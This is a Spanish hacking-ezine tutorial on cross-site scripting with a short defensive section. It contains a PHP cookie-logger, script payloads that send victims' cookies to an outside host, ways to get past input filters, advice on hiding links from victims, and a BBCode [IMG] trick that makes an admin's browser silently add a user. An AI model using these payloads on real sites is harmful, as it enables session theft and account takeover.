![]() |
Introducción al XSS :: bug en [IMG] (BBcode) | ||
1 |
XSS :: Categorias | |
1 |
1 - XSS en localhost | |
2 |
2 - XSS posting | |
2 |
XSS :: Tecnicas de ataque | |
1 |
Preparacion | |
2 |
Tipos de ataque a traves de <script> | |
3 |
Tipos de ataque de otras formas | |
3 |
XSS :: Filtros y como intentar saltarlos | |
4 |
XSS :: Soluciones | |
5 |
BBCode | |
6 |
[IMG] | |
7 |
Más... |
Mas de uno ya se debe haber flipado leyendo el nombre, tranquilos porque no es gran cosa :) (Nota: Esta frase la escribi cuando el bug que explicaria a continuacion aun no habia sido corregido en ""ningun sitio"", actualmente ya esta corregido en precocinados como phpBB2.0.10 y superiores). Os recomiendo que vayais por orden y leais el documento de arriba abajo, sin saltaros pasos. Seguramente os pregunteis porque este articulo y no otro... principalmente por dos causas: muchisima gente no sabe que es y que permite hacer un XSS (Cross-Site Script) y para poder entender y mejorar (si es posible) el funciomiento del bug que os explicare al final del documento.
ATENCION: Cada pc es un mundo. No siempre se cumplira lo que explico y no siempre sera exactamente como lo explique. Limitate a aprender como funciona, cuales son algunas de sus utilidades e intentalo probar en alguna web (tuya) para ver lo que digo. Activa y desactiva opciones para ir testeando que pasaria en cada caso. Hay MUCHISIMOS trucos para hacer un buen ataque XSS y es imposible que pueda explicarlos todos, asi que mira links, referencias o busca en google si te apasiona el tema.
XSS :: Categorias(arriba)
Un XSS (Cross-Site Script) o CSS (no se usa por posible confusion con los estilos CSS) es simplemente un fallo que permite modificar el codigo fuente HTML. Los XSS normalmente se utilizan para robar cookies y luego hacerse pasar por otra persona sin conocer su password. Ahora bien, hay que ir con mucho cuidado cuando estemos tratando un bug de estos. Para que entendais muchisimo mejor su impacto y su funcionamiento, he querido dividirlos en 2 clases: (NOTA: tanto los nombres como las categorias me las he inventado yo... no os asusteis si no lo veis en ningun sitio mas xD)
1 - XSS en localhost
Este es el menos peligroso que nos podemos encontrar. Unicamente sera ejecutado en nuestro localhost por lo tanto no espereis hacer nada con un bug de estos ( >> Mentira. Si que podeis hacer... pero os recomiendo que para hacer esto os monteis una web infectada... [Evidentemente, os explicare como se haria :-)] ). Un ejemplo:
Imaginad que hay una web que tiene este codigo:
<? echo $noticia; ?>
Este codigo es suficiente para hacer un XSS. ¿Cual es el problema?. Unicamente lo carga a la persona que introduce la combinacion pagina.php?noticia=[codigo_XSS] por eso es dificil trabajar con tal vulnerabilidad. Imagina que juanito te pasa esta url por IRC: http://www.hispabyte.com/index.php?id="><script>alert("You're 0wned");</script> << Como ves, canta mucho y normalmente el script que utilizeis sera mucho mas largo que este.
Como anecdota me gustaria comentaros que muchisima gente ve bugs de este tipo y se creen que han descubierto algo realmente grande. A veces ni los mismos proveedores sacan parches para esto... ¿Ein? ... pero yo he visto parches :-(... bueno si, claro que sacan parches el 95% de las veces. Recordad que en la informatica se intenta muchisimo preveer posibles 'futuras' vulnerabilidades, por lo tanto aunque no sea grave se corrige y ya esta.
[UPDATE:] Pensandolo bien, esta vulnerabilidad se podria realizar a traves de un doble redireccionamiento. En una pagina creada por ti un script automatico que se diriga a la otra con el codigo malicioso y luego desde esta, a otra para ocultarlo. Problemas: Este tendriamos que hacerlo cuando la cookie aun no haya expirado y es muy dudoso lo de 3 redirecciones. Si tu eres el afectado, unicamente deslogeate y vuelvete a logear, asi la sesion expirara. Si el sistema crees que es todavia mas vulnerable ya que guarda en las cookies tu user-pass, cambiatela y no vuelvas por ese sitio xD sux.
Si no entiendes nada de lo que te dije, la idea esta en crearte una consulta XSS al sitio web vulnerable que haga una redireccion a tu archivo capturador de informacion. Recuerda que en la url superior se va a ver una linia muy larga y sospechosa, y por ello hay webs como http://tinyurl.com/ que te facilitan mucho el trabajo a la hora de pasarles el link a las victimas. Igualmente, puedes hacertelo tu mismo el redireccionador.
2 - XSS posting
Este ya es mas peligroso... se podria decir que es igual que el anterior pero se guarda en la misma web, por lo tanto UNICAMENTE hara falta que la victima abra la pagina para que su explorador ejecute el codigo malicioso. Son normales en sistemas de noticias, tagboard, foros, bloqs, etc. == cualquier sitio que permite almacenar codigo en una base de datos o archivo y luego al cargar toda la pagina lo ejecute/muestre.
Ejemplo:Extraido de: http://talks.php.net/show/oscon2004-foiling-cross-site-attacks/6<form action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type="text" name="message"><br />
<input type="submit">
</form>
<?php
if (isset($_GET['message']))
{
$fp = fopen('./messages.txt', 'a');
fwrite($fp, "{$_GET['message']}<br />");
fclose($fp);
}
readfile('./messages.txt');
?>
Todo lo que explique a partir de ahora ira enfocado hacia esta clase. Evidentemente, es valido para la otra tambien, pero interesa mas una vulnerabilidad de estas por su sencillez.
XSS :: Tecnicas de ataque(arriba)
Ahora unicamente os he intentado explicar para que entendais
las 2 variables principales. Poco a poco os enseñare algunos de los tipos de tecnicas empleadas para utilizar un XSS. Primero hay que preparar el entorno:
NOTA: Si quereis testear, utilizar alert.
Yo lo explicare enfocandolo a robar cookies. (creo que lo estoy haciendo
muy hardcore :-/)
Preparacion
Lo primero que tenemos que hacer es tener un FTP con PHP y en el un archivo llamado por ejemplo cookie.php. Este contiene:
<?
$save=@fopen(archivo.txt,"a"); // abrimos el archivo.txt
<< recordad de darle permisos suficiente
@fputs($save,$cookie); // guardamos la informacion de la variable
$cookie en el archivo
@fclose($save); // cerramos
?>
<codigo arbitrario> << su
unico fin es "camuflar" el ataque. EJEMPLOS:
<html><head><script>window.close();</script></head><body><script>window.close();</script></body></html>
<html><head></head><body><script>window.location("http://www.google.com/");</script></body></html>
Su nombre de ejemplo que utilizare sera: http://www.hispabyte.com/cookie.php?cookie=<cookie_robada>
La funcion de este archivo es que al utilizar cualquier metodo la victima sea redireccionada a esta pagina con la cookie en el navegador y esta la guarde en un archivo.
Tipos de ataque a traves de <script>
Creo que lo mejor sera hacer una lista que contenga su
codigo y una breve explicacion:
NOTA: Tened presente que antes de cada
instruccion iria: /archivo.php?variable=<codigo>
"><script>window.location('http://www.hispabyte.com/cookie.php?cookie='+document.cookie);</script>
Este es el caso mas usual. Se utiliza una simple combinacion "> para cerrar el actual parametro y se procede a insertar un <script> que redirecciona a nuestro archivo .php añadiendo la cookie de la victima. En este caso nos ira mejor utilizar otro window.location(); en el cookie.php ya que la victima no notara tanto el cambio.
"><script>
window.open('http://www.hispabyte.com/cookie.php?cookie='+document.cookie,'window007',<br>
'width=1,height=1,top=5000,left=5000,resizable=no,scrollbars=no,menubar=no,toolbar=no,status=no,location=no');
</script>
Es como lo anterior, pero ya estamos jugando con la ocultacion. Abre una ventana aparte con el javascript window.open, se reduce a 1x1, la mueve fuera del escritorio (x=5000,y=5000) y le quita todas las caracteristicas posibles. En este caso utilizar una cookie.php con window.close(); para que se cierre immediatamente la ventana y no se vea abajo (o arriba si vais por tabs :-]).
Tipos de ataque de otras formas
Ahora os enseñare detalles interesantes. Os recomiendo
la lectura de esto. Lo de azul sera el script malicioso: en este caso
solo hare alert ya que es lo mismo que lo del anterior apartado.
NOTA: Si quereis inspiraros en XSS iros
a securityfocus y mirar unos
pocos tipos de bugs. Hay muchisimas variedades, sobretodo para el IE.
<img src="javascript:alert('you.re 0wned');">
Esa secuencia "javascript" es realmente importante.
Nos permitira NO utilizar < o >. En la seccion filtros se hablara
de ello, pero que os quede la idea que cuantos menos simbolos extraños
muchisimo mejor. De momento hablo como que no filtra nada...
RECOMENDACION: Ojo con los " y los
'. Si estais trabajando en IMG tendriais que checkear que hace, si <img
src=""> o <img src=''>. Fijaros tambien al usar you're ya que cortariais por la mitad y daria error.
Esta opcion no va con un FireFox :(. Se siente.
<img src="none" OnError="javascript:alert('0wned');" name="">
Con este metodo os teneis que salir del src= inicial pero es un metodo valido. El 'none' devolvera error, al dar error el comando OnError cargara y ejecutara el javascript. El name=" lo usamos para que no se defacee la web y cante mucho. Tambien podeis poner un alt=".
<img src="&{alert('0wned!'};">
Curioso metodo, pero siempre que lo he testeado no me ha ido. Es una lastima :-/. Creo que solo va en ciertos exploradores, pero ni en Firefox 0.8 ni en iexplorer 6.1 me ha funcionado. Realmente es un metodo interesante ya que no necesita una secuencia javascript: o <script>.
A parte de usarse en <IMG> tambien hay otros comandos vulnerables. ¿Quereis saberlos? Buscar por google o picar AQUI (ingles, 9/10).
XSS :: Filtros y como intentar saltarlos(arriba)
Ya conoceis el grado de impacto y una la pequeña base de ir jugando con diferentes metodos para colar un script. Fijaros muy bien donde va a exportarse la informacion y va a hacer la llamada para asi poderlo configurar adecuadamente. Todo lo que explique anteriormente era posible si el servidor no comprobaba nada.
Normalmente el server filtrara los siguientes comandos: (puede que varios, puede que todos, depende mucho del server)
' " ( ) % $ ? & < > .. / \ script javascript
Vamos de lo facil a lo dificil:
Si el server filtra <script>, intentaremos utilizar javascript:. Si este es filtrado, solo nos quedara probar con &{}; que dudosamente creo que vaya :(.
Si no va, intentaremos pasarlo a Hexadecimal [conversor]. Ejemplo:
"><script>alert("hola");</script>
a
%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%68%6f%6c%61%22%29%3b%3c%2f%73%63%72%69%70%74%3e
Si nuestra direccion esta intentando coger un archivo de una ruta inferior, no hagais ../archivo.ext, usad http://www.hispabyte.com/archivo.txt (suponiendo que estamos trabajando desde una carpeta superior). Si estais intentando escalar directorios mas abajo que el raiz, intentad lo siguiente: ..\/ << Si el \ no es filtrado, al filtrar el / (se filtra de esta forma: \/), este primer \ se comera al segundo \ y hay una remota posiblidad de que vaya.
Si filtra los $ no nos importa con los XSS tanto como en los injection, asi que ni lo tocare.
En cualquier caso de que filtre ' o " es mas complicado. Habria que intentar hacer alguna cosa del estilo de javascript:unescape(%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%68%6f%6c%61%22%29%3b%3c%2f%73%63%72%69%70%74%3e);, pero ya es muy raro que un server que se ocupe tanto de su seguridad permita introducir un javascript asi por asi. Normalmente, en los parametros para el img hacen que tenga que empezar por http://, asi que no podremos usar tampoco el javascript:.
En los comprobadores bien hechos tambien nos restringira los & y los ?, sin dejarnos permitir introducir una url con variables &var=$x.
Si filtra los ( ) intendad hacer algo del estilo: "><script src='archivo.js'></script>
NOTA: A veces para que
no de problemas "algo" comeros el </script>. Es mas peligroso ya que suele defecear la pagina,
pero a veces el / ya es causa de que no vaya.
NOTA: Tened presente a vuestro amigo
<!--.
XSS :: Soluciones(arriba)
La solucion mas eficaz NO es denegar una lista de caracteres y remplazarlos, sino SOLO dejar pasar a una lista de caracteres especifica para ese formulario. Como normalmente da pereza de hacer un archivo con funciones de replace o validaciones de este tipo, cada lenguaje suele contener funciones prefabricadas, como por ejemplo el PHP tiene la funcion htmlspecialtags(); que remplazaria un " por un ". Hay que recordar que en todos los campos variables donde haya un minima posibilidad de que esto ocurra hay que repetir el proceso.
Tened en cuenta tambien la palabra "javascript" y si esta se detecta, utilizar un script que la divida en 2 para que no se ejecute el comando.
Si habeis mirando el link anterior sobre mas etiquetas que pueden ser vulnerables a este tipo de ataques id con cuidado de ellas, porque normalmente una etiqueta como <img> no se cree que sea tan vulnerable.
Yo no puedo daros mas consejo sobre esto, pero estoy seguro que en google encontrareis informacion abundante sobre el lenguaje que useis y como haciendo un buen filtrado denegais todo este tipo de ataques. El problema esta en que no siempre podremos filtrar todos los caracteres, ya que si necesitamos poner un URL y denegamos los /, ya no podremos usar esa funcion. Analizad vuestro caso particular.
Para el usuario que navega, lo mas eficaz es desactivar el javascript, el Xactive y los lenguajes Object de VBasic. Tambien recomiendo no usar el IExplorer y pasarme a un navegador mucho mas seguro ([SPAM]firefox 1.0 :)[SPAM]).
Como dije en la seccion 1.1, si acabas de ser la victima de un tipo de ataque de estos, ya porque hayas visto una redireccion sospechosa o por lo que sea, con deslogearte y volverte a loggear ya estaria. Lamentablemente, hay sistemas que guardan tu user:md5(pass) y te la podrian robar la password. Ves y cambiala. Si utilizas una 'password segura'*, directamente ni te la cambies xD.
*'password segura' no es una password de menos de 8 digitos y algun que otro caracter especial :-P
BBCode(arriba)
Ya que de esto va el bug, hare un copy&paste de lo que es el BBCode [phpbb.com]:
BBCode is a special implementation of HTML
Exacto. Son tags que al enviarse se cnvierten en etiquetas HTML. Como sabreis hay varios tipos y algunos de ellos permiten meterles variables. A veces se han descubierto vulnerabilidades en estas variables por un mal saneamiento, y yo un dia jugando con ellas descubri otro. Si buscais por algun bugtraq seguro que os salen unas cuantas.
[IMG](arriba)
Sin dar mas rodeos, os explico el 'bug' que saque y detalles sobre el. Es muy simple y muy tonto, es tan sencillo como poner:
[IMG]http://[tu_page]/pagina.php#.gif[/IMG]
En una direccion normal, el pagina.php#XXXX nos dirige a la id con ese nombre. En este caso, vemos que el tag [IMG] no reemplaza el # y al comprobar su extension ve que es un .gif, por lo tanto lo deja pasar.
¿donde lo puedo usar?
Principalmente en paginas personales donde solo comprueban la extension del archivo .jpg, .gif para insertar algo malo y cruel :P. No lo podras usar en ningun precocinado ni nada serio y seguro porque seguramente restringen caracteres &,=,?...
¿que me permite hacer?
Tu imaginacion es el limite. Piensa poner algo asi:
[IMG]admin.php?add_user=Martes13&level=500#.gif[/IMG]
y cuando el admin mire la fotito... pum. Un metodo que se uso en su dia en phpBB [www.waraxe.us] :), actualmente no va por la restriccion de otros tipos de caracteres. A mi me ha servido para provocar algun que otro pequeño overflow a algun server y que te devuelva su ruta o para usarse de webbug (sacar informacion) o para petarte de visitas tu pagina web poniendotelo de avatar en algun foro masivo... jeje...
No seais malos y colgeis hispabyte o algun sitio parecido. Hispabyte tiene un sistema peculiar que hace llamadas para ver si el avatar existe o no... si utilizais alguna direccion con #.xxx y este no existe, hispabyte se quedara haciendo llamadas hasta 30segundos (timeout). Estoy seguro que si haces 3 a la vez se queda con mysql_error xDD (no testeado, pero presupuesto xD).
Un detallito... no va con los "uploaders" :-( automaticamente se remplaza el # por un _ y nos fastidia el truquillo...
Solucion sacada de los tags [IMG] de los foros phpBB 2.0.10:
// [img]image_url_here[/img] code..
$text = preg_replace("#\[img\]((http|ftp|https|ftps)://)([^ \?&=\#\"\n\r\t<]*?(\.(jpg|jpeg|gif|png)))\<br>
[/img\]#sie", "'[img:$uid]\\1' . str_replace(' ', '%20', '\\3') . '[/img:$uid]'", $text);
<br> => enter
Más...(arriba)
http://sandsprite.com/Sleuth/papers/RealWorld_XSS_2.html
Un documento muy completo y acompañado por un pack de herramientas. Las tips que da son muy curiosas.
http://talks.php.net/index.php/Security
Un sitio muy bueno no solo para XSS sino para todo lo relacionado con la seguridad PHP. Muy ameno de leer.
http://www.cgisecurity.com/lib/WH-WhitePaper_XST_ebook.pdf
WhitePaper corto, sencillo y con fotitos :D
Espero que os haya gustado el doc. Nos vemos en el proximo numero.
Se titulara: "como hackear hispabyte en 3 comodos pasos con el md5 de Dekipi". (es broma... :] )
¿Os gustaria algun tema especifico para que trate en la ezine? ¡¡Enviame un mail!!
Texto dedicado a Dekipi por habernos soportado tanto :-] (arriba)
by Martes13 Sergio Arcos |
[ ATENCIÓN: Toda la información y el software que pudieras encontrar aquí, únicamente está permitido utilizarlos con fines formativos, no haciéndonos responsables del mal uso, que por desconocimiento o malicia, se pudiera hacer. Tampoco nos responsabilizamos de los daños ocasionados por una utilización inapropiada o con fines delictivos. Con esta ezine no se pretende fomentar, ni la violencia, ni una conducta ilegal, sino dar a conocer el fascinante mundo de la informática, la electrónica y las telecomunicaciones. ] |